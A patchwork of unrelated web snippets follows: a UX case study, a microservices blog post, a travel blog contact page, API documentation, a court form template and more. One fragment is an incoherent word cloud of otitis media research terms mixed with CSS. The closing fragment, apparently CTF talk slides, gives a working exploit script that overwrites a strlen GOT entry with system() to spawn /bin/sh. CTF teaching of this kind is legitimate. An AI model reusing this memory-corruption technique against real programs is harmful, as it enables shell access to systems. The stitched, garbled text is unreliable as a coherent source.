After several years of neglect, the reviews feature needed some UX tender love and care.
UX lead
Improve customer experience
Online reputation management is a differentiator for our product. Simple review management and reporting is a staple in our overall strategy. Therefore any improvements to our existing experience helps us stay competitive.
As this is an existing feature, we will measure perceived ease of use after the redesign.
Using Google Analytics and Mixpanel, my product manager found these metrics and behaviors:
From the aforementioned data, it's clear that users are not customizing the default view of the reviews page very often. That includes venturing past the first few pages of reviews. The low usage of sorting is interesting. Are users not filtering because it's not discoverable or do they not find it useful?
The reviews page has a section for unread and read reviews. However, both types of reviews show up in both sections. In order for a review to be truly "read", it needs to be explicitly marked as read by the user. This is further exacerbated by the misuse of bolding. All new, unread reviews are bolded until they have been "read" or "managed" by clicking on the "manage" link.
Reviews can be featured on the user's business profile page. This is the same behavior seen in blogs and forums. Do users understand that pinning a review on this page does not pin the review on their profile page?
The Demandforce portal has 3 main types of users and 1 rare type. You can view their personas in a new window by clicking here. The 2 we're focusing on for this project are:
The business owner looking to provide great customer service and monitor the health of their business.
The office manager responsible for managing reviews.
After several iterations, internal reviews within the product team, and some guerilla testing with customer service representatives, I finalize a few wireframe prototypes to share with real users. In one design, I wanted to test a more discoverable filtering system. I also simplified the page by removing the unread and read sections. Now, a bolded review is the only indicator that it is unread.
Click here to view the Axure prototype in a new window.
Our amazing researcher finds 5 willing users and sets up interviews within a week. Armed with a laptop, post-its, and recording devices, we set set out to answer questions and get feedback from the 5 sets of users seen below.
With a more complete story of how users interact with reviews, I had plenty of rationale for new design changes. The biggest changes include: removing all but the necessary filtering, using familiar terminology ("flagged" instead of "pinned"), and providing as much appointment related information in the review details as possible. Unfortunately, the development team didn't have enough time to build review sharing functionality or a preview pane, so that was shelved for the next iteration of this project.
View Axure prototype in a new window.
After the team felt that our prototype was ready for development, I used Sketch to create the visual skin for the final design. I then uploaded the files to Zeplin for our engineers to consume.
View Zeplin mocks in a new window.
Once the new designs go live, we'll perform usability testing with beta users and follow up with our initial interviewees to see if their overall satisfaction with the new design has improved.


During a job interview they started asking questions about microservices and the discussion that we had made me think that it would be good to write a bit about it.
Microservices are great because:
- They are small, that’s why the appended “Micro“
- They are independent one each other (deployment, runtime, configuration, downtime, scaling…)
Great! so, where’s the catch… because there’s always a catch. Think about it. You can split your API in multiple microservices.
If you replace services by libraries, the name that comes to your mind is? DEPENDENCIES!
The catch with microservices is that dependencies are not implicit in your API or APP the way they used to be (think jars, gems or python libs).
Bear in mind as well that IDE’s and compilers are very good (in general) at finding when dependencies are broken… which is not the case if you have a bunch of loosely couple services.
Who’s responsible for managing all those dependencies now? because excuse me, but I need a way to bundle services together. Or, to be more precise, to bundle versions of services together.
To me the hardest problem is not a design problem, the hardest problem is managing dependencies at version level.
At Import.io we started moving towards this architecture and the way we solved it was not using service discovery but using the old idea of having a contract where you specify a bunch of versions that you know they play nicely together.
I always differentiate Runtime, Configuration and Context. In our case, Runtime was a container running a microservice. Configuration was another container (a data container) where the relationship between versions was explicitly defined, like a manifest.
The advantage of using a data container to bind a bunch of versions is that you have traceability. You know always how the application was configured, because it is true, with microservices we have gained a lot of flexibility but we have lost certain control. Using a container helps me to regain that control.
Why do I do this? because I can leverage my continuous integration pipeline to test my services and how they interact with each other according to specific versions. Because now, my microservice bundles are in git and not in some obscure key of zookeeper or consul. Even more, when the time to migrate to Kubernetes arrives, I can use my data container as my pod blueprint.
Because one thing is my architecture and another different thing is my runtime and my operations.
Remember…
It’s not about power, it’s about responsibility


Looking to get in touch? Great! I love reader mail. I’m happy to help you get on the road, plan your trip, ease your fears, and answer any questions you might have.
However, e-mail has gotten so out of control that I first must ask you to read following guidelines before sending me a message. While I hate to restrict email, the more time I’m on it, the less time I can be out finding information to help you travel!
1] If you are looking for general destination information, please consult my destination guides or use the search bar on the top right of the page. Basic information on what to see, do, and how much things cost in a place can be found throughout the site. Emails that ask “what should I do in [x]?” will simply direct you back to the guides section anyways. If you have more specific questions, feel free to ask!
2] If you are e-mailing me about visa questions related to my European visa article, please contact an embassy or consulate. I can’t comment on individual situations and will not respond to your email.
3] If you wondering where you should start on planning your trip or feeling lost, use the start here link on the top right of the navigation bar. That’s the best place to begin using this website.
4] I’m not a travel agency and emails asking me to book your trip will be deleted.
5] I love itineraries but planning them is a very personal process. My advice is always to simply avoid doubling back and move in one direction! For what places to go and thing to see, only you can answer that. I don’t know what you like.
6] If you work in PR, don’t send me press releases or put me on your mailing list. Ever.
7] I do not accept guest posts and inquiries will be deleted.
8] I don’t do sponsored posts, text links, or other advertising. All inquires will be deleted.
9] Please keep all emails to two paragraphs or less.
If you’re inquiring about something else, then by all means, e-mail me: _____________________
I write a lot about my travels but I love knowing you’re out there traveling the world! I set up a P.O. Box where you can send me postcards from your trip!
President M & M 01234 International Lane Boston, Massachusetts 01234
Send me a card if you get a chance!


children NTHi catarrhalis study Infect. AOM bacterial ear infection middle disease host increased biofilm shown biofilms role Pediatr. respiratory studies Dis. important demonstrated human pneumoniae detected bacteria influenzae Microbiol. immune pneumococcal virulence associated formation identified new {border-style Clin. compared data infections proteins model pathogenesis px;} surface viruses #ffffff;} OM. Wang antibody cells chronic contributions different epithelial work K.L. common including polymicrobial research species Bakaletz Int. J.A. L.O. membrane novel patients responses suggest Immun. J.M. Murphy [], analysis cause clinical mouse otitis otopathogens persistence potential presence protein strains vaccine L.S. M.E. M.J. chinchilla information killing observed pathogens J.L. Vaccine age aspects differences expression factors future healthy intracellular investigated media non-encapsulated recent seen substantial used viral A.L. Atack Front. Haemophilus Immunol. OM, Otorhinolaryngol. Riesbeck T.F. Zhang animal approval cell final incidence models response susceptibility titres years AOM. Jennings Pichichero URI accountability acute aureus binding development extracellular mechanisms otitidis reported showed significantly specific symposium, target treatment van virus writing BMC Brockman D.A. Interestingly, Kirkham M.A. Med. Moraxella S.M. Swords Thornton W.E. aeruginosa colonization editing, involved months mucosal need pathogen recently recurrent resulted serum suggested use A.M. HMW Host However, K.A. Kim L.E. Liu M.P. R.B. areas assessed assessing conducted contribute decreased disease. emerging findings followed following formed genes heme higher isolates multiple nasopharynx organisms phasevarion pneumococci present prevent prior published px; pyogenes required reviewed, risk samples severe vaccines {font-family A.A. A.S. C.M. CVI DNA Eur. J.D. J.J. Jurcisek M.M. McDaniel P.C. Pang Res. Richmond S.P. Y.C. Yang able airway antimicrobial better cases defined described font-size high indicated innate invasion isolated organism outer panel particularly pathogenic persist phase play pneumococcus populations proteins, reduced similar survival type (%) A.J. Barenkamp Chan Chonmaitree Elsevier Immunol.: J.C. J.R. K.J. Keller L.A. M.G. NTHi, Off. Recent S.D. S.J. Sci. Streptococcus acquired antibodies association available bacterium children, commonly considered controls decrease develop double; drafting early episodes exposed gene impact increase infection, lower mBio main manuscript mice multispecies naturally pathogenesis. population protective rat remains report review study, suggesting surgery tympanic types understand understanding useful variants work; A.G. B.S. Brown Cell.Infect. Chen Corscadden E.M. IgG International Johnson K.M. Kaur Lee MEE Mol. Novotny OME Otitis Otolaryngol. P.J. PCV Park RSV Rep. S.H. Singh Song T.M. Tan Using abundance acquisition addition, border-color border-width catarrhalis, caused cells, cohort complicated continued detection developed draft encapsulated experimental focused form genetics heme-iron highly however, implications importance improved included indicate infection. inflammation inflammatory initial interactions investigate lead lines linked matrix mechanism meeting otopathogen past potentially protection related represent sialic single solid; studied tract undergoing utilized variable vitro {font-style {font-weight ABC AI- Aboriginal Alloiococcus B.J. Bradshaw Brauer C.E. C.S. COVID- Esposito Evans Furthermore, Genet. Goodman Hardison Hia Hood Huang Hyoty Importantly, J.H. K.H. L.K. L.V. Laranne Lim M.C. Malkowski Marchisio Mokrzan Morgelin N.L. NucM PCR Patel Pathog. Pathogens Perez Pipkins Principi R.C. R.L. R.P. Reimche Ren S.C. S.I. S.W. Schwartz Sillanpaa Sipila Staphylococcus Waris Winter Wren Yan ability acid additional adenovirus adherence agents altered antigens area bind birth bocavirus bold catarrhalis. cellular centre collaborators collagen collection complex conserved continue courier; critical development. did directly diverse ear, effect effective em; emergence enhanced epigenetic express focus function functional genomes glycans group growth guinea immunity includes induced infants influenza interaction introduction invasion/persistence invasive levels lineages major models, mucin neutrophil newly non-Aboriginal non-OP otorrhea overall paper pathogenesis, pathway perforation positive prevalence preventing prevention previously progression promotes prone pt;} regulate regulation resistance resource resulting rhinoviruses second specifically strong structural taken tested thought transporter treat treatments upper using various viruses, warrants


The following variables are available to shell scripts
- BUILD_NUMBER
- The current build number, such as "153"
- BUILD_ID
- The current build id, such as "2005-08-22_23-59-59" (YYYY-MM-DD_hh-mm-ss)
- JOB_NAME
- Name of the project of this build, such as "foo"
- BUILD_TAG
- String of "jenkins-${JOB_NAME}-${BUILD_NUMBER}". Convenient to put into
a resource file, a jar file, etc for easier identification.
- EXECUTOR_NUMBER
- The unique number that identifies the current executor
(among executors of the same machine) that's
carrying out this build. This is the number you see in
the "build executor status", except that the number starts from 0, not 1.
- NODE_NAME
- Name of the slave if the build is on a slave, or "" if run on master
- NODE_LABELS
- Whitespace-separated list of labels that the node is assigned.
- JAVA_HOME
- If your job is configured to use a specific JDK, this variable is set to
the JAVA_HOME of the specified JDK. When this variable is set, PATH
is also updated to have $JAVA_HOME/bin.
- WORKSPACE
- The absolute path of the workspace.
- HUDSON_URL
- Full URL of Hudson, like http://server:port/hudson/
- JENKINS_URL
- Full URL of Jenkins, like http://server:port/jenkins/
- BUILD_URL
- Full URL of this build, like http://server:port/jenkins/job/foo/15/
- JOB_URL
- Full URL of this job, like http://server:port/jenkins/job/foo/
- SVN_REVISION
- For Subversion-based projects, this variable contains the revision number of the module.
- CVS_BRANCH
- For CVS-based projects, this variable contains the branch of the module.
If CVS is configured to check out the trunk, this environment variable will not be set.
To understand how environmental variables provided by Jenkins can be utilized by
Ant, study the following target:


This dialog window is shown if you press the Generate report button in the side-channel attack against the hybrid encryption protocol dialog.
By clicking the OK button you can create a report of the side-channel attack. The report with will be generated in the CrypTool main window.


| Home | Trees | Indices | Help |
|
|---|
|
|
provides the bitmap OpenGL panel for Priithon's ND 2d-section-viewer
common base class for single-color and multi-color version
Author: Sebastian Haase<EMAIL_ADDRESS>License: BSD license - see LICENSE file
|
|||
| GLViewerCommon |
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|||
|
|
|||
bugXiGraphics = 0
|
|||
Menu_Zoom2x = 102
|
|||
Menu_ZoomCenter = 103
|
|||
Menu_Zoom_5x = 104
|
|||
Menu_ZoomReset = 105
|
|||
Menu_Zoom1 = 106
|
|||
Menu_ZoomOut = 107
|
|||
Menu_ZoomIn = 108
|
|||
Menu_Color = 109
|
|||
Menu_Reload = 110
|
|||
Menu_chgOrig = 111
|
|||
Menu_Save = 112
|
|||
Menu_SaveScrShot = 113
|
|||
Menu_SaveClipboard = 114
|
|||
Menu_Assign = 115
|
|||
Menu_noGfx = 116
|
|||
Menu_aspectRatio = 117
|
|||
Menu_rotate = 118
|
|||
Menu_grid = 119
|
|||
Menu_ColMap =
screen_max_x, screen_max_y = wx.DisplaySize() screen_max_x, screen_max_y = screen_max_x-1, screen_max_y-1 |
|||
cms_colnames_255 =
|
|||
cms_colnames_simple_wikipedia_org_List_of_colors =
|
|||
cms_colnames =
|
|||
cms_grey =
|
|||
cms_spectrum =
|
|||
cms_blackbody =
|
|||
cms_redgreen =
|
|||
cms_greenred =
|
|||
cms_twocolorarray =
|
|||
cms_spectrum2 =
|
|||
cms_spectrum3 =
|
|||
cms_spectrum4 =
|
|||
_col_regex = re.compile(r'
|
|||
i = 7
|
|||
x =
|
|
return "log"-colormap shape 3,n |
return "GrayMinMax"-colormap shape 3,n 1.) set col map to gray, 2.) set first entry to minCol, last entry to maxCol |
returns RGB tuple (ndarray!) each value between 0..1 `c` can be a string like "r:g:b"-string like "0:0:122" (r,g,b in 0..255) or a string like "r,g,b"-string or a len-3-string like "rgb"-string like F8F (optionally a starting'#') or a len-6-string like "rgb"-string like FF80FF (optionally a starting'#') or a string of a pre-defined color-name (ref. `cms_colnames`) or a RGB tuple r,b,b in 0..255 (r,g,b in 0..255) (strings are case-INsesitive, '-' and spaces is ignored) |
calculates a colormap of length `n` - r,g,b are between 0..1 starting with black (0,0,0) `colseq`: dictionary of color steps. a color step is defined as (value, color) pair color can be anything understood by `cm_readColor()` (colname-string, "r:g:b"-string, "ff80ff", 3-tuple, ...) `refMaxVal`: defines the heighest level the values compared against e.g. if `refMaxVal`=100 the values are in "percent" the 100% level refers to to the last (`n-1`) colmap entry, transitions are discrete returns array of shape 3,n |
calculates a colormap of length `n` - r,g,b are between 0..1 return colormap created from list-of-colorNames instead of a color-name a "r:g:b"-string like "0:0:122" you can use predefined name-lists, they start "cms_" like cms_redgreen transitions are linearly smooth returns array of shape 3,n |
return "grey"-colormap (made using cm_calcSmoothCM(cms_grey)) shape 3,n |
return "spectrum3"-colormap shape 3,n |
return "blackbody"-colormap shape 3,n |
return "cycling-HSV-colors"-colormap (red-green-blue-red) shape 3,n if `blackZero` is True: set first entry ("background") to zero `blackZero` is None: do blackZero if cycles==1 |
return "gray"-colormap, respective a gamma value (cm_calcSmoothCM() is not used, but N.linspace() (for gamma==1)) shape 3,n |
|
cms_colnames_255
|
cms_colnames_simple_wikipedia_org_List_of_colors
|
cms_colnames
|
cms_spectrum
|
cms_spectrum2
|
cms_spectrum3
|
cms_spectrum4
|
| Home | Trees | Indices | Help |
|
|---|
| Generated by Epydoc 3.0.1 on Mon Nov 22 14:59:33 2010 | http://epydoc.sourceforge.net |


Introduction about the ORCS
You can start playing immediately by creating your own account. It is FREE !
Visit Signin PageFeel free to email us to provide some feedback on our platform, give us suggestions for new features, report issues, or just say hello!


Hello there,
Looks like you have a new message:
%MESSAGE%
Sent by %NAME%, you can reach this awesome person via %CONTACT%.


A Full Stack--and a Full House
On Tuesday night Gilt hosted our last evening tech event of the year: the second-ever gathering of the Full-Stack Engineering Meetup. What an amazing turnout! More than 100 software engineers (including 19 Gilt technologists), tech execs, and programming students braved the chilly temps and icy sidewalks to spend a few hours at our 2 Park office eating pizza, chatting about coding, and listening to some great technical presentations.
We’re super-excited to host Full-Stack again on January 28–go here to RSVP. Meantime, here are some pics of the night:
Gilt Senior Software Engineer Casey Kolderup started off the evening’s talks with a presentation on the Gilt APIs.
Another shot of Casey–nice sticker collection he’s got there!
We were happy to see Customer.io founder John Allison again. Once upon a time, John was a Gilt software engineer.
“So what is Docker”? James Turnbull–author, open source advocate, and Docker’s new VP of Services–brought the audience up to speed on one of the most exciting technologies of 2013.
Thanks to Full-Stack Engineering organizer Mike Boufford for producing such a fantastic event, and to everyone who joined us! We hope to see you next month.


midgard.math.interpolation
Methods for interpolating in numpy arrays
Description:
Different interpolation methods are decorated with @register_interpolator
and will then become available for use as
kind
in interpolate
and moving_window
.
Example:
>>> import numpy as np
>>> np.set_printoptions(precision=3, suppress=True)
>>> x = np.linspace(-1, 1, 11)
>>> y = x**3 - x
>>> y
array([ 0. , 0.288, 0.384, 0.336, 0.192, 0. , -0.192, -0.336,
-0.384, -0.288, 0. ])
>>> x_new = np.linspace(-0.8, 0.8, 11)
>>> interpolate(x, y, x_new, kind='cubic')
array([ 0.288, 0.378, 0.369, 0.287, 0.156, -0. , -0.156, -0.287,
-0.369, -0.378, -0.288])
Developer info:
To add your own interpolators, you can simply decorate your interpolator functions with @register_interpolator
. Your
interpolator function should have the signature
(x: np.ndarray, y: np.ndarray) -> Callable
For instance, the following would implement a terrible interpolation function that sets all values to zero:
from midgard.math.interpolation import register_interpolator
@register_interpolator
def zero(x: np.ndarray, y: np.ndarray) -> Callable:
def _zero(x_new: np.ndarray) -> np.ndarray:
return np.zeros(y.shape)
return _zero
This function would then be available as an interpolator. For instance, one could do
>>> interpolate(x, y, x_new, kind='zero') # doctest: +SKIP
array([0., 0., 0., 0., 0., 0., 0., 0., 0., 0., 0.])
barycentric_interpolator()
Full name: midgard.math.interpolation.barycentric_interpolator
Signature: (x:numpy.ndarray, y:numpy.ndarray, **ipargs:Any) -> Callable
The interpolating polynomial through the given points
Uses the scipy.interpolate.BarycentricInterpolator function behind the scenes.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.ipargs
: Keyword arguments passed on to the scipy-interpolator.
Returns:
Barycentric interpolation function
cubic()
Full name: midgard.math.interpolation.cubic
Signature: (x:numpy.ndarray, y:numpy.ndarray, **ipargs:Any) -> Callable
Cubic spline interpolation through the given points
Uses the scipy.interpolate.interp1d function with kind='cubic' behind the scenes.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.ipargs
: Keyword arguments passed on to the interp1d-interpolator.
Returns:
Cubic spline interpolation function
get_interpolator()
Full name: midgard.math.interpolation.get_interpolator
Signature: (name:str) -> Callable
Return an interpolation function
Interpolation functions are registered by the @register_interpolator-decorator. The name-parameter corresponds to the function name of the interpolator.
Args:
name
: Name of interpolator.
Returns:
Interpolation function with the given name.
interpolate()
Full name: midgard.math.interpolation.interpolate
Signature: (x:numpy.ndarray, y:numpy.ndarray, x_new:numpy.ndarray, *, kind:str, **ipargs:Any) -> numpy.ndarray
Interpolate values from one x-array to another
See interpolators()
for a list of valid interpolators.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.x_new
: 1-dimensional array with new x-values.kind
: Name of interpolator to use.ipargs
: Keyword arguments passed on to the interpolator.
Returns:
Array of interpolated y-values.
interpolate_with_derivative()
Full name: midgard.math.interpolation.interpolate_with_derivative
Signature: (x:numpy.ndarray, y:numpy.ndarray, x_new:numpy.ndarray, *, kind:str, dx:float=0.5, **ipargs:Any) -> numpy.ndarray
Interpolate values from one x-array to another as well as find derivatives
See interpolators()
for a list of valid interpolators.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.x_new
: 1-dimensional array with new x-values.kind
: Name of interpolator to use.dx
: Values at x ± dx are used to determine derivative.ipargs
: Keyword arguments passed on to the interpolator.
Returns:
Tuple with array of interpolated y-values and array of derivatives.
interpolated_univariate_spline()
Full name: midgard.math.interpolation.interpolated_univariate_spline
Signature: (x:numpy.ndarray, y:numpy.ndarray, **ipargs:Any) -> Callable
One-dimensional interpolating spline for the given points
Uses the scipy.interpolate.InterpolatedUnivariateSpline function behind the scenes.
The original only deals with one-dimensional y arrays, so multiple calls are made for higher dimensional y arrays. The dimensions are handled independently of each other.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.ipargs
: Keyword arguments passed on to the scipy-interpolator.
Returns:
Interpolating spline function
interpolators()
Full name: midgard.math.interpolation.interpolators
Signature: () -> List[str]
Return a list of available interpolators
Returns:
Names of available interpolators.
lagrange()
Full name: midgard.math.interpolation.lagrange
Signature: (x:numpy.ndarray, y:numpy.ndarray, *, window:int=10, bounds_error:bool=True, assume_sorted:bool=False) -> Callable
Computes the lagrange polynomial passing through a certain set of points
See https://en.wikipedia.org/wiki/Lagrange_polynomial
Uses window
of the original points to calculate the Lagrange polynomials. The window of points is chosen by
finding the closest original point and essentially picking the window // 2
indices on either side.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.window
: Number of points used in interpolation.bounds_error
: If True, a ValueError is raised if extrapolation is attempted.assume_sorted
: If True, x must be an array of monotonically increasing values.
Returns:
Lagrange interpolation function.
linear()
Full name: midgard.math.interpolation.linear
Signature: (x:numpy.ndarray, y:numpy.ndarray, **ipargs:Any) -> Callable
Linear interpolation through the given points
Uses the scipy.interpolate.interp1d function with kind='linear' behind the scenes.
Args:
x
: 1-dimensional array with original x-values.y
: Array with original y-values.ipargs
: Keyword arguments passed on to the interp1d-interpolator.
Returns:
Linear interpolation function
register_interpolator()
Full name: midgard.math.interpolation.register_interpolator
Signature: (func:Callable) -> Callable
Register an interpolation function
This function should be used as a @register_interpolator-decorator
Args:
func
: Function that will be registered as an interpolator.
Returns:
Same function.
midgard.math.unit
Midgard library module for handling of SI-unit conversions
Description:
This module provides unit conversion constants and functions. The heavy lifting is done by the pint
package. The
basic usage is as follows:
>>> from midgard.math.unit import Unit
>>> seconds_in_two_weeks = 2 * Unit.week2secs
>>> seconds_in_two_weeks
1209600.0
In general Unit.spam2ham
will give the multiplicative conversion scale between the units spam
and ham
. Through
the pint
package we support a lot of units. See Unit.list()
or
https://github.com/hgrecco/pint/blob/master/pint/default_en.txt
. Another notation is also available, and might be
necessary for some more complicated conversions:
>>> seconds_in_two_weeks = 2 * Unit('week', 'seconds')
>>> miles_per_hour_in_meters_per_second = Unit('mph', 'meters / sec')
Do note that we support most normal aliases as well as singular and plural forms of the units. For instance can
second
be represented as s
, sec
, secs
and seconds
. Prefixes are also handled:
>>> nanoseconds_in_an_hour = Unit.hour2nanosecs
>>> inches_in_a_kilometer = Unit.km2inches
For more complicated conversions (for instance from Celsius to Fahrenheit) one can create custom conversion functions
using convert
:
>>> c2f = Unit.function('celsius', 'fahrenheit')
>>> absolute_zero_in_fahrenheit = c2f(-273.15)
For convenience, this can also be written using the attribute notation as Unit.spam_to_ham(spam_value)
. Then the
previous example simply becomes:
>>> absolute_zero_in_fahrenheit = Unit.celsius_to_fahrenheit(-273.15)
(or even easier Unit.kelvin_to_fahrenheit(0)
).
Finally, we can access the unit/quantity system of pint
by using the name of a unit by itself, e.g. Unit.spam
. For
instance:
>>> distance = 42 * Unit.km
>>> time = 31 * Unit('minutes')
>>> speed = distance / time
>>> speed.to(Unit.mph)
<Quantity(50.511464659292955, 'mph')>
>>> speed.to_base_units()
<Quantity(22.580645161290324, 'meter / second')>
However, using the full unit system adds some overhead so we should be careful in using it in heavy calculations.
Unit
Full name: midgard.math.unit.Unit
Signature: (from_unit:str, to_unit:Union[str, NoneType]=None) -> Any
Unit converter
The implementation of the unit conversion is done in the _convert_units
-metaclass.
Unit.dms_to_rad()
Full name: midgard.math.unit.dms_to_rad
Signature: (degrees:~np_float, minutes:~np_float, seconds:~np_float) -> ~np_float
Convert degrees, minutes and seconds to radians
The sign of degrees will be used. In this case, be careful that the sign of +0 or -0 is correctly passed on. That is, degrees must be specified as a float, not an int.
Args:
degrees
: Degrees as float (including sign) or array of floatsminutes
: Minutes as int/float or array of ints/floatsseconds
: Seconds as float or array of floats
Returns:
Given degrees, minutes and seconds as radians.
Examples:
>>> Unit.dms_to_rad(59, 54, 52.32)
1.04570587646256
>>> Unit.dms_to_rad(-12.0, 34, 56.789)
-0.21960503017531938
>>> Unit.dms_to_rad(-0.0, 19, 59.974870)
-0.005817642339636369
Unit.hms_to_rad()
Full name: midgard.math.unit.hms_to_rad
Signature: (hours:~np_float, minutes:~np_float, seconds:~np_float) -> ~np_float
Convert hours, minutes and seconds to radians
Args:
hours
: Hours as int or array of intsminutes
: Minutes as int or or array of intsseconds
: Seconds as float or or array of floats
Returns:
Given hours, minutes and seconds as radians.
Examples:
>>> Unit.hms_to_rad(17, 7, 17.753427)
4.482423920139868
>>> Unit.hms_to_rad(12, 0, 0.00)
3.1415926535897936
>>> Unit.hms_to_rad(-12, 34, 56.789)
Traceback (most recent call last):
ValueError: hours must be non-negative
Unit.rad_to_dms()
Full name: midgard.math.unit.rad_to_dms
Signature: (radians:~np_float) -> Tuple[~np_float, ~np_float, ~np_float]
Converts radians to degrees, minutes and seconds
Args:
radians
: Angle(s) in radians
Returns:
Tuple with degrees, minutes, and seconds.
Examples:
>>> Unit.rad_to_dms(1.04570587646256)
(59.0, 54.0, 52.3200000000179)
>>> Unit.rad_to_dms(-0.2196050301753194)
(-12.0, 34.0, 56.78900000000468)
>>> Unit.rad_to_dms(-0.005817642339636369)
(-0.0, 19.0, 59.974869999999925)


Data Validation
Data validation is intended to provide automated guarantees over the input data, validating whether the data are meaningful, correct, accurate, consistent or complete. In data analysis, we often expect certain assumption to be invariant over time regardless of how the dataset is manipulated. For example, we might expect a field to always be unique (identifier) or a number to range between one and five (ratings). Tight coupling causes the same problem as discussed above because the user often designs validation rules that are grounded in the meaning of the data.
A variety of software packages have been developed to facilitate this workflow 1, 2, 3, 4, 5, 6. These packages can benefit from decoupling semantic and machine type representations.
The part of data validation that depends on machine types, the validation methods, should have to focus of such a package.
For example, the software could have helper functions to assert if a float is approximately the reference value (see pytest.approx
in [pytest]).
The other part, defining and checking properties of the data depends on semantic types.
For example, the International Standard Book Number (ISBN) has a check digit, which only makes sense to validate when a stored number is representing the ISBN.
A key observation is that this highly overlaps with the data summarization example discussed above.
Large components of that application can be reused to reduce code complexity.
- pytest
pytest x.y, 2004 Krekel et al., https://github.com/pytest-dev/pytest
Footnotes


If you attempt a pinch zoom on iOS with both fingers on the same element, pinch zooming should work. If each finger is touching a different element, the pinch zooming should also work.
Only the red block below has FastClick enabled.


Options
Update Interval
1 minute
5 minutes
10 minutes
15 minutes
30 minutes
45 minutes
1 hour
Include submissions in summary
Include comments in summary
Include journals in summary
Include watches in summary
Include favorites in summary
Include private messages in summary
Save


Check your answers
Your details |
||
|---|---|---|
| Full name | {{ partyName( 'defendant' ) }} | Change Name |
| Address |
101 Regents Road Shiplake Henley on Thames RG9 4BW |
Change Name |
| Correspondence address |
{% if data['correspondence-address']=="Yes" %}
{{data['d-addressLine1']}} {{data['d-addressLine2']}} {{data['d-address-town']}} {{data['d-addressPostcode']}} {% else %} Same as address {% endif %} |
|
| Contact number (optional) | {{ data['defendant-phone'] or '07824999612'}} | Change Name |
Cancel the judgment |
||
|---|---|---|
| Apply to cancel the judgment | {% if data['cancelccj'] == 'true' %} Yes {% else %} No {% endif %} | Change Name |
| Claim letter received | {% if data['letterreeived'] == 'true' %} Yes {% else %} No {% endif %} | Change Name |
| Reason for late response | {{ data['reason-for-not-responding'] }} | Change Name |
| When you found out about the judgment | 17 March 2019 | Change Name |
| Why you didn't respond until now | {{ data['reason-for-not-responding' ]}} | Change Name |
|
Confirm address on 6 December 2018 |
{% if data['addresscorrect'] == 'true' %} Yes {% else %} No {% endif %} | Change Name |
| Reason for not receiving letter | {{ data['reason-for-not-receive-post'] }} | Change Name |
| Tell claimant new address | {% if data['updatedclaimantofaddress'] == 'true' %} Yes {% else %} No {% endif %} | Change Name |
| How you told the claimant | {{ data['methodofinformingclaimant'] }} | Change Name |
| Any other information | {{ data['any-other-information'] }} | Change Name |
Evidence |
||
|---|---|---|
| File 1 |
Emails.pdf
You can see the emails from my new landlord. |
Change Name |
| File 2 |
Photo 1.jpg
The photos show the flat contract including the move date. |
Change Name |
Hearing requirements |
||
|---|---|---|
| Support you'd require | No support required | Change Name |
| Preferred location for a hearing | Guildford County Court | Change Name |
| Dates you can’t go to a hearing |
15 September 2019 16 September 2019 17 September 2019 18 September 2019 19 September 2019 |
Change Name |
Response to the original claim |
||
|---|---|---|
| Reason for not owing money | I dispute all of the claim | Change Name |
| Why you believe you don't owe the money | Change | |
| How much money do you admit you owe? | £300 | Change Name |
| Why do you disagree with the amount claimed? | Change | |
| Why you disagree with the claim | Change Name | |
| Your timeline of what happened (optional) | Change Why you believe you're owed the money | |
| Comments about their timeline (optional) | ||
| Your evidence (optional) | Change Why you believe you're owed the money | |
| Comments about their evidence (optional) |
Statement of truth
The information on this page forms your response. You can see it on the response form after you submit.
When you’re satisfied that your answers are accurate, you should tick to “sign” this statement of truth on the form.
{% if data['check'] == 'org' or data['check'] == 'soletrader' or data['check']==10 %}You must hold a senior position in your organisation to sign the statement of truth.
Types of senior position
A senior position could be a:
- director
- treasurer
- chief executive
- manager or other officer of the company or corporation
If your corporation isn't registered, a senior position could be:
- the chairperson or president
- another officer of the corporation
Declaration
{% if data['varyselected'] == 'true' or data['justvaryonly'] == 'true' %} {% if data['varytoimmediately'] == 'true' %} {% else %}
Sign, submit and continue to payment (£50)
{% endif %} {% elif data['cancelccj'] == 'true' %} {% else %} {% endif %}


We've created a mirror of the game to run here tonight, if you already know all about CTFs and just want to play with the challenges, see below. Note that eliza-v1 isn't running because it requires a custom patch to qemu-i386-user that isn't public yet.
| YEAR | DC | CTF | ORG | NOTES |
| 1996 | 4 | 1 | DEF CON Staff | First official CTF |
| 2004 | 12 | 9 | Ghetto Hackers | Modern A/D Precursor |
| 2005 | 13 | 10 | Kenshoto | First qualifier |
| 2009 | 17 | 14 | DDTEK | "New" Organizesr |
| 2013 | 21 | 17 | LegitBS | New Organizers |
| 2014 | 22 | 18 | LegitBS |
https://google.com/search?q="p+cnf"
c sample-cnf-file.cnf
c
p cnf 3 2
1 -3 0
2 3 -1 0
Tells us the format, would have saved a bunch of reversing. Known as "Conjunctive Normal Form".
Yo, nomo, gimme, exite, borit, bonut, dupme, makeit, bandit, mogain, slipitin,
slapitup, oudahere, putdatder, pobastard, datbettah, eatdatshit, screwdatshit,
splitdatshit, deyseemerollin, dayseemeshiftin
Simple syntax. Either:
<variable> = <command> <arg1> … <argN>;
Or:
<command> <arg1> … <argN>;
Where <arg?> is either a variable or a number
foo = shebewalkinfunny 10; //create the dword variable foo with value 10
bar = gimme 20; //create a variable bar 20 bytes long
bonut bar 1; //invert the byte at bar[1]
Yo bar; //print the contents of bar
oudahere varbuf1 0 10;
a
and bI
:
if (b->value + 4 < c->size)
memcpy(c->data[b->value], c->data, 4);
if (strlen(b->data) < c->size)
~c->data[atoi(b->data)];
if (atoi(b->data) < c->size)
~c->data[atoi(b->data)];
A
whose data points at strlen()
eatdatshit
operation which subtracts a dword from a dword. strlen()
and system()
system()
instead/bin/sh
strlen("/bin/sh")
but actually does system("/bin/sh")
B = gimme 10; //record we will exploit
C = gimme 128; //record we will write to the GOT with
bonut B -1; //invert they byte of our length
D = shebewalkinfunny 106612; //put the address of strlen GOT entry into D
putitin B D 192; //write D into the pointer for C (an offset from B)
F = shebewalkinfunny 3; //put 3 -> F, this is type value for a dword
putitin B F 196; //overwrite the type of C to be dword instead of string
C = eatdatshit C 168689; //subtract distance between strlen() and system() in GOT
/bin/sh = gimme 4; //cause strlen() to be called
Slides posted online: @psifertex


